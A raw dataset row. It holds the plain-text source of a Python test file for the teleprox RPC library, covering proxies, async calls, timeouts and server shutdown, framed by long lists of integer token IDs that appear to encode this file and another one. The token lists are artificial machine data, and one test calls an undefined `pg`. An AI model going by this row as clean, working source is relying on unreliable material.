5563,
29892,
411,
29918,
4349,
29892,
6528,
267,
29918,
12403,
29918,
9012,
29892,
6528,
267,
29918,
1454,
29890,
4215,
29918,
9012,
1125,
13,
1678,
565,
338,
29918,
2780,
3304,
29918,
5113,
29918,
16515,
580,
322,
411,
29918,
4349,
29901,
13,
4706,
11451,
1688,
29889,
11014,
703,
3306,
3304,
338,
2198,
1159,
13,
13,
1678,
1480,
29918,
1445,
353,
376,
2974,
29889,
1188,
29908,
13,
1678,
313,
5085,
29892,
1480,
29918,
3972,
29897,
353,
679,
29918,
6519,
29898,
7050,
3972,
29892,
27591,
29918,
1188,
29918,
5563,
29922,
1188,
29918,
5563,
29892,
1480,
29918,
1445,
29922,
1188,
29918,
1445,
29892,
1480,
29918,
5563,
29918,
1188,
29918,
1445,
29922,
1188,
29918,
5563,
29897,
13,
1678,
565,
411,
29918,
4349,
29901,
13,
4706,
313,
25393,
29892,
17117,
24459,
353,
1065,
29918,
2541,
29918,
4349,
29898,
5085,
29897,
13,
1678,
1683,
29901,
13,
4706,
313,
25393,
29892,
17117,
24459,
353,
1065,
29918,
14037,
29918,
4349,
29898,
5085,
29897,
13,
1678,
4974,
1480,
29918,
1445,
297,
2897,
29889,
1761,
3972,
29898,
1188,
29918,
3972,
29897,
13,
1678,
1480,
29918,
1445,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1188,
29918,
3972,
29892,
1480,
29918,
1445,
29897,
13,
1678,
411,
1722,
29898,
1188,
29918,
1445,
29892,
376,
29878,
1159,
408,
285,
29901,
13,
4706,
1480,
29918,
9012,
353,
285,
29889,
949,
9012,
580,
13,
1678,
1423,
29918,
20756,
29898,
1188,
29918,
9012,
29892,
6528,
267,
29918,
12403,
29918,
9012,
29892,
6528,
267,
29918,
1454,
29890,
4215,
29918,
9012,
29892,
5335,
287,
29922,
5574,
29897,
13,
1678,
1423,
29918,
20756,
29898,
25393,
29892,
19997,
6528,
267,
29918,
12403,
29918,
9012,
29892,
5335,
287,
29922,
5574,
29897,
13,
1678,
1423,
29918,
20756,
29898,
25393,
29892,
19997,
6528,
267,
29918,
12403,
29918,
9012,
29892,
5335,
287,
29922,
8824,
29897,
13,
13,
13,
1753,
1423,
29918,
20756,
29898,
1188,
29918,
9012,
29892,
6528,
267,
29918,
12403,
29918,
9012,
29892,
6528,
267,
29918,
1454,
29890,
4215,
29918,
9012,
29892,
5335,
287,
1125,
13,
1678,
13126,
29918,
13087,
267,
29918,
276,
339,
2658,
29918,
9012,
353,
679,
29918,
2388,
2356,
29918,
13087,
267,
29898,
13087,
267,
29918,
12403,
29918,
9012,
29892,
5335,
287,
29897,
13,
1678,
13126,
29918,
13087,
267,
29918,
1454,
29890,
4215,
29918,
9012,
353,
679,
29918,
2388,
2356,
29918,
13087,
267,
29898,
13087,
267,
29918,
1454,
29890,
4215,
29918,
9012,
29892,
5335,
287,
29897,
13,
1678,
363,
1196,
297,
1480,
29918,
9012,
29901,
13,
4706,
1596,
29898,
1220,
29897,
13,
1678,
363,
6528,
297,
13126,
29918,
13087,
267,
29918,
276,
339,
2658,
29918,
9012,
29901,
13,
4706,
565,
451,
738,
29898,
13087,
29889,
4352,
29898,
1220,
29897,
363,
1196,
297,
1480,
29918,
9012,
1125,
13,
9651,
11451,
1688,
29889,
14057,
703,
19347,
4766,
471,
451,
1476,
297,
1480,
3454,
29901,
1273,
29879,
29908,
1273,
313,
13087,
29889,
11037,
29892,
876,
13,
1678,
363,
6528,
297,
13126,
29918,
13087,
267,
29918,
1454,
29890,
4215,
29918,
9012,
29901,
13,
4706,
565,
738,
29898,
13087,
29889,
4352,
29898,
1220,
29897,
363,
1196,
297,
1480,
29918,
9012,
1125,
13,
9651,
11451,
1688,
29889,
14057,
703,
2831,
29890,
4215,
4766,
1476,
297,
1480,
3454,
29901,
1273,
29879,
29908,
1273,
313,
13087,
29889,
11037,
29892,
876,
13,
13,
13,
1753,
1243,
29918,
3198,
29918,
845,
329,
3204,
7295,
13,
1678,
1889,
353,
437,
29918,
3389,
4197,
9675,
29889,
4258,
9246,
29892,
2897,
29889,
2084,
29889,
7122,
29898,
359,
29889,
2084,
29889,
25721,
22168,
1445,
1649,
511,
376,
1195,
423,
407,
29889,
2272,
1159,
2314,
13,
1678,
396,
4480,
363,
7834,
304,
367,
297,
2058,
13,
1678,
1018,
29901,
13,
4706,
1889,
29889,
27820,
403,
29898,
15619,
29922,
29906,
29897,
13,
1678,
5174,
5974,
449,
9544,
2859,
29901,
13,
4706,
1209,
13,
1678,
1889,
29889,
6717,
29918,
25436,
29898,
25436,
29889,
5425,
29954,
3308,
29934,
29896,
29897,
13,
1678,
714,
29892,
4589,
29892,
775,
353,
437,
29918,
21174,
29898,
5014,
29892,
12088,
2230,
29922,
29941,
29892,
1840,
2230,
29922,
29896,
29897,
13,
1678,
1596,
29898,
449,
29892,
4589,
29897,
13,
1678,
4974,
775,
1275,
29871,
29900,
13,
1678,
4974,
376,
23648,
10480,
360,
3427,
23250,
29908,
297,
714,
13,
1678,
4974,
376,
1254,
4590,
29908,
297,
714,
13,
1678,
4974,
376,
7068,
2692,
3970,
16048,
4810,
3580,
18476,
29908,
297,
714,
13,
13,
13,
1753,
1243,
29918,
3198,
29918,
12313,
29918,
845,
329,
3204,
7295,
13,
1678,
1596,
4197,
9675,
29889,
4258,
9246,
29892,
2897,
29889,
2084,
29889,
7122,
29898,
359,
29889,
2084,
29889,
25721,
22168,
1445,
1649,
511,
376,
1195,
423,
407,
29889,
2272,
4968,
376,
12313,
20068,
13,
1678,
1889,
353,
437,
29918,
3389,
4197,
9675,
29889,
4258,
9246,
29892,
2897,
29889,
2084,
29889,
7122,
29898,
359,
29889,
2084,
29889,
25721,
22168,
1445,
1649,
511,
376,
1195,
423,
407,
29889,
2272,
4968,
376,
12313,
20068,
13,
1678,
714,
29892,
4589,
29892,
775,
353,
437,
29918,
21174,
29898,
5014,
29892,
12088,
2230,
29922,
29945,
29892,
1840,
2230,
29922,
29906,
29897,
13,
1678,
1596,
29898,
449,
29892,
4589,
29897,
13,
1678,
4974,
775,
1275,
29871,
29941,
13,
1678,
4974,
376,
23648,
10480,
360,
3427,
23250,
29908,
297,
714,
13,
1678,
4974,
376,
1254,
4590,
29908,
451,
297,
714,
13,
1678,
4974,
376,
7068,
2692,
3970,
16048,
4810,
3580,
18476,
29908,
451,
297,
714,
13,
1678,
4974,
451,
4589,
13,
13,
13,
1753,
1243,
29918,
2962,
786,
29918,
14057,
545,
29898,
7050,
3972,
29892,
1400,
7201,
29918,
2585,
29892,
2566,
29918,
978,
1125,
13,
1678,
313,
5085,
29892,
1480,
29918,
3972,
29897,
353,
679,
29918,
6519,
29898,
13,
4706,
13128,
3972,
29892,
13,
4706,
4833,
637,
29922,
2490,
7201,
29918,
2585,
29889,
637,
29892,
13,
4706,
4833,
978,
29922,
9803,
29918,
978,
29892,
13,
4706,
4833,
3069,
29922,
2490,
7201,
29918,
2585,
29889,
3069,
29892,
13,
4706,
4833,
1792,
29922,
2490,
7201,
29918,
2585,
29889,
1792,
29892,
13,
4706,
4833,
3364,
29922,
29966,
25711,
17013,
10202,
13,
4706,
1923,
29918,
24299,
29922,
3366,
12313,
8582,
12436,
13,
1678,
1723,
13,
1678,
6499,
353,
29242,
1642,
7122,
29898,
9675,
29889,
2084,
29897,
13,
1678,
396,
3462,
263,
4319,
3883,
13,
1678,
4805,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
359,
29889,
2084,
29889,
25721,
22168,
1445,
1649,
511,
376,
1272,
613,
376,
12313,
29918,
5453,
29918,
2084,
1159,
13,
1678,
313,
25393,
29892,
380,
20405,
29892,
775,
29897,
353,
1065,
29918,
14037,
29918,
4349,
29898,
5085,
29892,
8829,
3790,
29908,
20055,
4690,
1164,
10145,
1115,
6499,
718,
376,
6160,
718,
4805,
2084,
1118,
12088,
2230,
29922,
29896,
29945,
29892,
1840,
2230,
29922,
29896,
29900,
29897,
13,
1678,
4974,
376,
262,
29885,
6949,
462,
29871,
14431,
259,
5656,
6230,
5229,
29908,
297,
27591,
13,
1678,
4974,
313,
13,
4706,
376,
262,
29885,
6949,
29889,
2974,
29889,
20464,
29889,
29903,
5897,
4763,
786,
2451,
29901,
376,
13,
4706,
376,
29903,
5897,
4319,
8582,
29889,
29890,
7925,
5897,
5229,
304,
1369,
1363,
29901,
1763,
29877,
4319,
29892,
445,
7079,
338,
9391,
29908,
13,
1678,
1723,
297,
27591,
13,
1678,
4974,
775,
1275,
29871,
29946,
13,
13,
13,
1753,
1243,
29918,
21789,
29918,
11739,
29918,
4905,
29898,
29879,
1240,
7988,
21789,
1125,
13,
1678,
11534,
21789,
29889,
14669,
29918,
1454,
29918,
29879,
1240,
7988,
29898,
13,
4706,
9995,
13,
10041,
4321,
29901,
13,
1678,
1353,
12421,
13,
355,
13,
13,
326,
2037,
4321,
773,
3659,
1057,
9290,
13,
13,
29877,
353,
4321,
29898,
5552,
543,
29896,
29906,
29941,
29946,
1159,
13,
4706,
9995,
13,
1678,
1723,
13,
13,
1678,
1962,
353,
313,
13,
4706,
9995,
23323,
451,
731,
5352,
421,
5552,
29952,
373,
2777,
21326,
2917,
1649,
1057,
3057,
313,
2611,
3656,
630,
472,
11431,
3396,
29889,
6854,
29901,
29947,
3569,
9995,
13,
4706,
9995,
29898,
12276,
287,
297,
1281,
4984,
29898,
3057,
29897,
313,
6904,
3396,
29889,
6854,
29901,
29947,
876,
13,
1113,
3880,
491,
29901,
13,
29871,
21403,
995,
525,
29896,
29906,
29941,
29946,
742,
3806,
9681,
313,
12276,
287,
297,
1281,
4984,
29898,
3057,
29897,
313,
6904,
3396,
29889,
6854,
29901,
29947,
876,
13,
15945,
29908,
13,
1678,
1723,
13,
13,
1678,
822,
2279,
10456,
9006,
1125,
13,
4706,
1889,
353,
437,
29918,
3389,
4197,
9675,
29889,
4258,
9246,
29892,
11663,
29885,
613,
376,
262,
29885,
6949,
29889,
932,
3108,
718,
1051,
29898,
9006,
511,
274,
9970,
29922,
29879,
1240,
7988,
21789,
29889,
4836,
29918,
3972,
29897,
13,
4706,
714,
29892,
4589,
353,
1889,
29889,
27820,
403,
29898,
15619,
29922,
29941,
29900,
29897,
13,
4706,
4974,
714,
29889,
13808,
580,
1275,
5124,
13,
4706,
4974,
4589,
29889,
13808,
580,
1275,
1962,
13,
13,
1678,
2279,
703,
12198,
1159,
13,
1678,
2279,
703,
15843,
613,
11663,
29967,
613,
376,
449,
29889,
3126,
1159,
13,
13,
13,
29992,
2272,
1688,
29889,
3502,
29889,
15619,
29898,
29896,
29945,
29897,
13,
29992,
2272,
1688,
29889,
3502,
29889,
3207,
300,
374,
911,
29918,
1384,
29898,
13,
1678,
376,
9006,
613,
17288,
3366,
29899,
29990,
613,
376,
12198,
3108,
511,
313,
3366,
12198,
613,
11663,
29990,
3108,
511,
313,
3366,
12198,
3108,
511,
313,
3366,
15843,
613,
11663,
29990,
3108,
511,
313,
3366,
29899,
29990,
613,
376,
15843,
3108,
511,
313,
3366,
15843,
20068,
29962,
13,
29897,
13,
1753,
1243,
29918,
12254,
29918,
29916,
29918,
3385,
29898,
29879,
1240,
7988,
21789,
29892,
9920,
1125,
13,
1678,
11534,
21789,
29889,
14669,
29918,
1454,
29918,
29879,
1240,
7988,
29898,
13,
4706,
9995,
13,
10041,
4321,
29901,
13,
1678,
302,
11234,
12421,
13,
355,
13,
15945,
29908,
13,
1678,
1723,
13,
13,
1678,
1889,
353,
437,
29918,
3389,
4197,
9675,
29889,
4258,
9246,
29892,
11663,
29885,
613,
376,
262,
29885,
6949,
29889,
932,
3108,
718,
9920,
29892,
274,
9970,
29922,
29879,
1240,
7988,
21789,
29889,
4836,
29918,
3972,
29897,
13,
1678,
714,
29892,
4589,
353,
1889,
29889,
27820,
403,
29898,
15619,
29922,
29941,
29900,
29897,
13,
1678,
4974,
714,
29889,
13808,
580,
1275,
5124,
13,
1678,
565,
11663,
29990,
29908,
297,
9920,
29901,
13,
4706,
4974,
376,
262,
29885,
6949,
29889,
579,
29889,
1542,
17413,
2451,
29901,
1033,
451,
1284,
1134,
302,
11234,
297,
7397,
29908,
297,
851,
29898,
3127,
29897,
13,
1678,
1683,
29901,
13,
4706,
4974,
376,
262,
29885,
6949,
29889,
579,
29889,
1542,
17413,
2451,
29901,
1033,
451,
1284,
1134,
302,
11234,
297,
7397,
29908,
451,
297,
851,
29898,
3127,
29897,
13,
13,
13,
29992,
2272,
1688,
29889,
3502,
29889,
15619,
29898,
29906,
29900,
29897,
13,
1753,
1243,
29918,
27392,
29918,
2917,
29918,
3972,
29918,
3385,
29918,
265,
29918,
2974,
29918,
6519,
29898,
7050,
3972,
1125,
13,
1678,
1661,
29918,
735,
15423,
29918,
3972,
353,
2897,
29889,
2084,
29889,
7122,
29898,
7050,
3972,
29892,
376,
5464,
29918,
735,
15423,
29918,
3972,
1159,
13,
1678,
4974,
451,
2897,
29889,
2084,
29889,
275,
3972,
29898,
5464,
29918,
735,
15423,
29918,
3972,
29897,
13,
1678,
313,
5085,
29892,
24459,
353,
679,
29918,
6519,
29898,
7050,
3972,
29892,
27591,
29918,
1188,
29918,
5563,
29922,
29941,
29892,
2295,
29918,
3972,
29922,
5464,
29918,
735,
15423,
29918,
3972,
29897,
13,
1678,
313,
25393,
29892,
17117,
24459,
353,
1065,
29918,
14037,
29918,
4349,
29898,
5085,
29897,
13,
1678,
27591,
353,
376,
1642,
7122,
29898,
25393,
29897,
13,
1678,
4974,
376,
4763,
292,
1923,
16248,
29908,
297,
27591,
13,
1678,
4974,
285,
29908,
3991,
3884,
426,
5464,
29918,
735,
15423,
29918,
3972,
29913,
1838,
29915,
29873,
1863,
29908,
297,
27591,
13,
13,
13,
29992,
2272,
1688,
29889,
3502,
29889,
15619,
29898,
29906,
29900,
29897,
13,
1753,
1243,
29918,
27392,
29918,
1195,
29918,
29883,
29918,
3385,
29918,
1445,
29918,
13221,
593,
29918,
28997,
29898,
29879,
1240,
7988,
21789,
29892,
13128,
3972,
1125,
13,
1678,
1661,
29918,
735,
15423,
29918,
2917,
29918,
1445,
353,
2897,
29889,
2084,
29889,
7122,
29898,
7050,
3972,
29892,
376,
5464,
29918,
735,
15423,
29918,
2917,
29918,
1445,
1159,
13,
1678,
11534,
21789,
29889,
14669,
29918,
1454,
29918,
29879,
1240,
7988,
29898,
13,
4706,
9995,
13,
10041,
4321,
29901,
13,
1678,
1353,
12421,
13,
355,
13,
15945,
29908,
13,
1678,
1723,
13,
1678,
2295,
29918,
6768,
353,
6796,
29899,
29883,
613,
1661,
29918,
735,
15423,
29918,
2917,
29918,
1445,
29892,
11663,
29894,
29894,
29894,
3108,
13,
1678,
6389,
353,
518,
9675,
29889,
4258,
9246,
29892,
11663,
29885,
613,
376,
262,
29885,
6949,
29889,
932,
3108,
718,
2295,
29918,
6768,
718,
6796,
12198,
3108,
13,
1678,
1889,
353,
437,
29918,
3389,
29898,
5085,
29892,
274,
9970,
29922,
29879,
1240,
7988,
21789,
29889,
4836,
29918,
3972,
29897,
13,
1678,
714,
29892,
4589,
353,
1889,
29889,
27820,
403,
29898,
15619,
29922,
29941,
29900,
29897,
13,
1678,
4974,
1889,
29889,
2457,
401,
1275,
29871,
29900,
13,
13,
1678,
714,
353,
714,
29889,
13808,
580,
13,
1678,
4589,
353,
4589,
29889,
13808,
580,
13,
1678,
599,
29918,
4905,
353,
714,
718,
4589,
13,
13,
1678,
4974,
376,
4763,
292,
6633,
29908,
297,
599,
29918,
4905,
13,
1678,
4974,
376,
6843,
488,
2309,
29908,
297,
599,
29918,
4905,
13,
1678,
4974,
285,
29908,
3991,
934,
426,
5464,
29918,
735,
15423,
29918,
2917,
29918,
1445,
29913,
1838,
29915,
29873,
1863,
29908,
297,
599,
29918,
4905,
13,
13,
13,
29992,
2272,
1688,
29889,
3502,
29889,
3207,
300,
374,
911,
29918,
1384,
29898,
13,
1678,
376,
2541,
29918,
4349,
29892,
1873,
29918,
9344,
29918,
915,
29918,
845,
776,
29892,
6528,
267,
29918,
12403,
29918,
9012,
29892,
6528,
267,
29918,
1454,
29890,
4215,
29918,
9012,
613,
13,
1678,
518,
13,
4706,
313,
8824,
29892,
5852,
29892,
518,
29878,
29908,
797,
29885,
6949,
6692,
1394,
305,
16444,
1061,
613,
364,
29908,
25333,
1873,
29901,
9162,
364,
29908,
26982,
29901,
613,
364,
26732,
29879,
17710,
29930,
7136,
6160,
1402,
5159,
511,
13,
4706,
313,
5574,
29892,
5852,
29892,
518,
29878,
29908,
797,
29885,
6949,
6692,
1394,
305,
16444,
1061,
613,
364,
29908,
25333,
1873,
29901,
9162,
364,
29908,
26982,
29901,
613,
364,
26732,
29879,
17710,
29930,
7136,
6160,
1402,
5159,
511,
13,
4706,
313,
8824,
29892,
7700,
29892,
19997,
518,
29878,
29908,
797,
29885,
6949,
6692,
1394,
305,
16444,
1061,
613,
364,
29908,
25333,
1873,
29901,
9162,
364,
29908,
26982,
29901,
613,
364,
26732,
29879,
17710,
29930,
7136,
29901,
3108,
511,
13,
4706,
313,
5574,
29892,
7700,
29892,
19997,
518,
29878,
29908,
797,
29885,
6949,
6692,
1394,
305,
16444,
1061,
613,
364,
29908,
25333,
1873,
29901,
9162,
364,
29908,
26982,
29901,
613,
364,
26732,
29879,
17710,
29930,
7136,
29901,
3108,
511,
13,
1678,
21251,
13,
29897,
13,
29992,
2272,
1688,
29889,
3502,
29889,
15619,
29898,
29906,
29900,
29897,
13,
1753,
1243,
29918,
3259,
29918,
23516,
29918,
275,
29918,
842,
29898,
7050,
3972,
29892,
411,
29918,
4349,
29892,
1873,
29918,
9344,
29918,
915,
29918,
845,
776,
29892,
6528,
267,
29918,
12403,
29918,
9012,
29892,
6528,
267,
29918,
1454,
29890,
4215,
29918,
9012,
1125,
13,
1678,
313,
5085,
29892,
1480,
29918,
3972,
29897,
353,
679,
29918,
6519,
29898,
7050,
3972,
29892,
1873,
29922,
3259,
29918,
9344,
29918,
915,
29918,
845,
776,
29897,
13,
1678,
565,
411,
29918,
4349,
29901,
13,
4706,
313,
25393,
29892,
17117,
24459,
353,
1065,
29918,
2541,
29918,
4349,
29898,
5085,
29892,
12088,
2230,
29922,
29896,
29945,
29892,
1840,
2230,
29922,
29896,
29900,
29897,
13,
1678,
1683,
29901,
13,
4706,
313,
25393,
29892,
17117,
24459,
353,
1065,
29918,
14037,
29918,
4349,
29898,
5085,
29892,
12088,
2230,
29922,
29896,
29945,
29892,
1840,
2230,
29922,
29896,
29900,
29897,
13,
1678,
4974,
7431,
29898,
25393,
29897,
2804,
29871,
29900,
13,
1678,
1423,
29918,
20756,
29898,
25393,
29892,
6528,
267,
29918,
12403,
29918,
9012,
29892,
6528,
267,
29918,
1454,
29890,
4215,
29918,
9012,
29892,
7700,
29897,
13,
13,
13,
1753,
1243,
29918,
2344,
29918,
4836,
29898,
7050,
3972,
1125,
13,
1678,
6389,
353,
518,
9675,
29889,
4258,
9246,
29892,
11663,
29885,
613,
376,
262,
29885,
6949,
29889,
932,
613,
376,
4836,
613,
376,
2344,
613,
11663,
29876,
613,
376,
1688,
29899,
4836,
613,
11663,
29877,
613,
13128,
3972,
29892,
376,
489,
4381,
3108,
13,
1678,
313,
25393,
29892,
380,
20405,
29892,
736,
29918,
401,
29897,
353,
1065,
29918,
14037,
29918,
4349,
29898,
5085,
29892,
12088,
2230,
29922,
29896,
29945,
29892,
1840,
2230,
29922,
29896,
29900,
29897,
13,
1678,
1243,
29918,
4836,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
7050,
3972,
29892,
376,
1688,
29899,
4836,
1159,
13,
1678,
4974,
736,
29918,
401,
1275,
29871,
29900,
13,
1678,
4974,
2897,
29889,
2084,
29889,
9933,
29898,
1688,
29918,
4836,
29918,
2084,
29897,
13,
1678,
313,
25393,
29892,
380,
20405,
29892,
736,
29918,
401,
29897,
353,
1065,
29918,
14037,
29918,
4349,
29898,
5085,
29892,
12088,
2230,
29922,
29896,
29945,
29892,
1840,
2230,
29922,
29896,
29900,
29897,
13,
1678,
4974,
736,
29918,
401,
2804,
29871,
29900,
13,
1678,
4974,
7431,
29898,
303,
20405,
29897,
1275,
29871,
29896,
13,
1678,
4974,
376,
284,
2040,
4864,
29908,
297,
380,
20405,
29961,
29900,
29962,
13,
2
] |
teleprox/tests/test_rpc.py | campagnola/teleprox | 1 | 1612777 | # -*- coding: utf-8 -*-
# Copyright (c) 2016, French National Center for Scientific Research (CNRS)
# Distributed under the (new) BSD License. See LICENSE for more info.
import threading, time, logging
from teleprox import RPCClient, RemoteCallException, RPCServer, QtRPCServer, ObjectProxy, ProcessSpawner
from teleprox.log import RPCLogHandler, set_process_name, set_thread_name, start_log_server
import numpy as np
from check_qt import requires_qt, qt_available
# Set up nice logging for tests:
# remote processes forward logs to this process
logger = logging.getLogger()
#logger.level = logging.DEBUG
start_log_server(logger)
# local log messages are time-sorted and colored
handler = RPCLogHandler()
logger.addHandler(handler)
# messages originating locally can be easily identified
set_process_name('main_process')
set_thread_name('main_thread')
if qt_available:
qapp = pg.mkQApp()
def test_rpc():
previous_level = logger.level
#logger.level = logging.DEBUG
class TestClass(object):
count = 0
def __init__(self, name):
self.name = name
TestClass.count += 1
def __del__(self):
TestClass.count -= 1
def add(self, x, y):
return x + y
def array(self):
return np.arange(20).astype('int64')
def sleep(self, t):
time.sleep(t)
def get_list(self):
return [0, 'x', 7]
def test(self, obj):
return self.name, obj.name, obj.add(5, 7), obj.array(), obj.get_list()
def types(self):
return {'int': 7, 'float': 0.5, 'str': 'xxx', 'bytes': bytes('xxx', 'utf8'),
'ndarray': np.arange(10), 'dict': {}, 'list': [],
'ObjectProxy': self}
def type(self, x):
return type(x).__name__
server1 = RPCServer()
server1['test_class'] = TestClass
server1['my_object'] = TestClass('obj1')
serve_thread = threading.Thread(target=server1.run_forever, daemon=True)
serve_thread.start()
client = RPCClient.get_client(server1.address)
# test clients are cached
assert client == RPCClient.get_client(server1.address)
try:
# can't manually create client for the same address
RPCClient(server1.address)
assert False, "Should have raised KeyError."
except KeyError:
pass
# get proxy to TestClass instance
obj = client['my_object']
assert isinstance(obj, ObjectProxy)
# check equality with duplicate proxy
obj2 = client['my_object']
assert obj == obj2
assert obj._obj_id == obj2._obj_id
assert obj._ref_id != obj2._ref_id
# check hashability
assert obj in {obj2: None}
assert obj in set([obj2])
logger.info("-- Test call with sync return --")
add = obj.add
assert isinstance(add, ObjectProxy)
assert add(7, 5) == 12
# test return types
for k, v in obj.types().items():
assert type(v).__name__ == k
if k != 'ObjectProxy':
assert obj.type(v) == k
# NOTE: msgpack converts list to tuple.
# See: https://github.com/msgpack/msgpack-python/issues/98
assert obj.get_list() == [0, 'x', 7]
logger.info("-- Test async return --")
fut = obj.sleep(0.1, _sync='async')
assert not fut.done()
assert fut.result() is None
logger.info("-- Test no return --")
assert obj.add(1, 2, _sync='off') is None
logger.info("-- Test return by proxy --")
list_prox = obj.get_list(_return_type='proxy')
assert isinstance(list_prox, ObjectProxy)
assert list_prox._type_str == "<class 'list'>"
assert len(list_prox) == 3
assert list_prox[2] == 7
logger.info("-- Test proxy access to server --")
srv = client['self']
assert srv.address == server1.address
logger.info("-- Test remote exception raising --")
try:
obj.add(7, 'x')
except RemoteCallException as err:
if err.type_str != 'TypeError':
raise
else:
raise AssertionError('should have raised TypeError')
try:
client.asdffhgk
raise AssertionError('should have raised AttributeError')
except AttributeError:
pass
logger.info("-- Test deferred getattr --")
arr = obj.array(_return_type='proxy')
dt1 = arr.dtype.name._get_value()
assert isinstance(dt1, str)
arr._set_proxy_options(defer_getattr=True)
dt2 = arr.dtype.name
assert isinstance(dt2, ObjectProxy)
assert dt2._obj_id == arr._obj_id
assert dt2._attributes == ('dtype', 'name')
dt3 = dt2._undefer()
assert dt3 == dt2
logger.info("-- Test remote object creation / deletion --")
class_proxy = client['test_class']
obj2 = class_proxy('obj2')
assert class_proxy.count == 2
assert obj2.add(3, 4) == 7
obj2._delete()
handler.flush_records() # log records might have refs to the object
assert class_proxy.count._get_value() == 1
try:
obj2.array()
assert False, "Should have raised RemoteCallException"
except RemoteCallException:
pass
logger.info("-- Test proxy auto-delete --")
obj2 = class_proxy('obj2')
obj2._set_proxy_options(auto_delete=True)
assert class_proxy.count == 2
del obj2
handler.flush_records() # log records might have refs to the object
assert class_proxy.count._get_value() == 1
logger.info("-- Test timeouts --")
try:
obj.sleep(0.2, _timeout=0.01)
except TimeoutError:
pass
else:
raise AssertionError('should have raised TimeoutError')
obj.sleep(0.2, _timeout=0.5)
logger.info("-- Test result order --")
a = obj.add(1, 2, _sync='async')
b = obj.add(3, 4, _sync='async')
assert b.result() == 7
assert a.result() == 3
logger.info("-- Test transfer --")
arr = np.ones(10, dtype='float32')
arr_prox = client.transfer(arr)
assert arr_prox.dtype.name == 'float32'
print(arr_prox, arr_prox.shape)
assert arr_prox.shape._get_value() == [10]
logger.info("-- Test import --")
import os.path as osp
rosp = client._import('os.path')
assert osp.abspath(osp.dirname(__file__)) == rosp.abspath(rosp.dirname(__file__))
logger.info("-- Test proxy sharing between servers --")
obj._set_proxy_options(defer_getattr=True)
r1 = obj.test(obj)
server2 = RPCServer()
server2['test_class'] = TestClass
serve_thread2 = threading.Thread(target=server2.run_forever, daemon=True)
serve_thread2.start()
client2 = RPCClient(server2.address)
client2.default_proxy_options['defer_getattr'] = True
obj3 = client2['test_class']('obj3')
# send proxy from server1 to server2
r2 = obj3.test(obj)
# check that we have a new client between the two servers
assert (serve_thread2.ident, server1.address) in RPCClient.clients_by_thread
# check all communication worked correctly
assert r1[0] == 'obj1'
assert r2[0] == 'obj3'
assert r1[1] == r2[1] == 'obj1'
assert r1[2] == r2[2] == 12
assert np.all(r1[3] == r2[3])
assert r1[4] == r2[4]
logger.info("-- Test publishing objects --")
arr = np.arange(5, 10)
client['arr'] = arr # publish to server1
s2rpc = client2._import('teleprox')
s2cli = s2rpc.RPCClient.get_client(client.address) # server2's client for server1
assert np.all(s2cli['arr'] == arr) # retrieve via server2
logger.info("-- Test JSON client --")
# Start a JSON client in a remote process
cli_proc = ProcessSpawner()
cli = cli_proc.client._import('teleprox').RPCClient(server2.address, serializer='json')
# Check everything is ok..
assert cli.serializer.type._get_value() == 'json'
assert cli['test_class']('json-tester').add(3, 4) == 7
cli_proc.kill()
logger.info("-- Setup reentrant communication test.. --")
class PingPong(object):
def set_other(self, o):
self.other = o
def pingpong(self, depth=0):
if depth > 6:
return "reentrant!"
return self.other.pingpong(depth+1)
server1['pp1'] = PingPong()
server2['pp2'] = PingPong()
pp1 = client['pp1']
pp2 = client2['pp2']
pp1.set_other(pp2)
pp2.set_other(pp1)
logger.info("-- Test reentrant communication --")
assert pp1.pingpong() == 'reentrant!'
logger.info("-- Shut down servers --")
client2.close_server()
serve_thread2.join()
client.close_server()
client.close()
serve_thread.join()
logger.level = previous_level
@requires_qt
def test_qt_rpc():
previous_level = logger.level
#logger.level = logging.DEBUG
server = QtRPCServer(quit_on_close=False)
server.run_forever()
# Start a thread that will remotely request a widget to be created in the
# GUI thread.
class TestThread(threading.Thread):
def __init__(self, addr):
threading.Thread.__init__(self, daemon=True)
self.addr = addr
self.done = False
self.lock = threading.Lock()
def run(self):
client = RPCClient(self.addr)
qt = client._import('pyqtgraph.Qt')
# widget creation happens in main GUI thread; we are working with
# proxies from here.
self.l = qt.QtGui.QLabel('remote-controlled label')
self.l.show()
time.sleep(0.3)
self.l.hide()
with self.lock:
self.done = True
thread = TestThread(server.address)
thread.start()
start = time.time()
while True:
with thread.lock:
if thread.done:
break
assert time.time() < start + 5.0, "Thread did not finish within 5 sec."
time.sleep(0.01)
qapp.processEvents()
assert 'QLabel' in thread.l._type_str
server.close()
logger.level = previous_level
def test_disconnect():
#~ logger.level = logging.DEBUG
# Clients receive notification when server disconnects gracefully
server_proc = ProcessSpawner()
client_proc = ProcessSpawner()
cli = client_proc.client._import('teleprox').RPCClient(server_proc.client.address)
cli.close_server()
assert cli.disconnected() is True
assert server_proc.client.disconnected() is True
try:
print(server_proc.client.ping())
assert False, "Expected RuntimeError"
except RuntimeError:
pass
# add by Sam: force the end of process
server_proc.kill()
# Clients receive closure messages even if the server exits without closing
server_proc = ProcessSpawner()
server_proc.client['self']._closed = 'sabotage!'
time.sleep(0.1)
assert server_proc.client.disconnected() is True
# add by Sam: force the end of process
server_proc.kill()
# Clients gracefully handle sudden death of server (with timeout)
server_proc = ProcessSpawner()
server_proc.kill()
try:
server_proc.client.ping(timeout=1)
assert False, "Expected TimeoutError"
except TimeoutError:
pass
# server doesn't hang up if clients are not available to receive disconnect
# message
server_proc = ProcessSpawner()
for i in range(4):
# create a bunch of dead clients
cp = ProcessSpawner()
cli = cp.client._import('teleprox').RPCClient(server_proc.client.address)
cp.kill()
start = time.time()
server_proc.client.close_server()
assert time.time() - start < 1.0
assert server_proc.client.disconnected() == True
# add by Sam: force the end of process
server_proc.kill()
if __name__ == '__main__':
#~ test_rpc()
test_qt_rpc()
#~ test_disconnect()
| [
1,
396,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
29937,
14187,
1266,
313,
29883,
29897,
29871,
29906,
29900,
29896,
29953,
29892,
5176,
3086,
7817,
363,
23753,
928,
10550,
313,
13778,
12445,
29897,
13,
29937,
6652,
7541,
1090,
278,
313,
1482,
29897,
350,
7230,
19245,
29889,
2823,
365,
2965,
1430,
1660,
363,
901,
5235,
29889,
13,
13,
5215,
3244,
292,
29892,
931,
29892,
12183,
13,
3166,
4382,
771,
29916,
1053,
390,
9026,
4032,
29892,
5240,
866,
5594,
2451,
29892,
390,
9026,
6004,
29892,
14705,
29934,
9026,
6004,
29892,
4669,
